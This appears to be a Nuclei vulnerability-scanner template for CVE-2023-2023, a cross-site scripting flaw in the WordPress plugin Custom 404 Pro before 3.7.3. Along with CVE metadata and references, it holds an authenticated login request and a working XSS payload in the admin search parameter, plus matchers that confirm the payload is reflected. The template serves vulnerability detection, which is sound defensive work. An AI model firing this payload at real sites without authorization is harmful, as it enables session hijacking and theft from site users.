52 lines
2.3 KiB
YAML
52 lines
2.3 KiB
YAML
id: CVE-2023-2023
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info:
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name: Custom 404 Pro < 3.7.3 - Cross-Site Scripting
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author: r3Y3r53
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severity: medium
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description: |
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Custom 404 Pro before 3.7.3 is susceptible to cross-site scripting via the search parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
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remediation: Fixed in version 3.7.3
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reference:
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- https://wpscan.com/vulnerability/8859843a-a8c2-4f7a-8372-67049d6ea317
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- https://wordpress.org/plugins/custom-404-pro/advanced/
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- https://nvd.nist.gov/vuln/detail/CVE-2023-2023
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2023-2023
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cwe-id: CWE-79
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epss-score: 0.00071
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epss-percentile: 0.29205
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cpe: cpe:2.3:a:kunalnagar:custom_404_pro:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: kunalnagar
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product: custom_404_pro
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framework: wordpress
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tags: wpscan,cve,cve2023,xss,wordpress,wp-plugin,authenticated,custom-404-pro,intrusive,kunalnagar
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/admin.php?page=c4p-main&s={{randstr}}%22%20style=animation-name:rotation%20onanimationstart=alert(document.domain)// HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- status_code_2 == 200
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- contains(content_type_2, "text/html")
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- contains(body_2, "onanimationstart=alert(document.domain)//")
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- contains(body_2, "Custom 404 Pro")
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condition: and
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# digest: 4a0a0047304502207a600dfae2f0e2060d6574dad24499c9601e138f6367c2aa7f5da1d9cb727729022100fdb1fd7f2f68e4b3d60b9bea5eda02af9723abac2e803692833ec91da52846bb:922c64590222798bb761d5b6d8e72950 |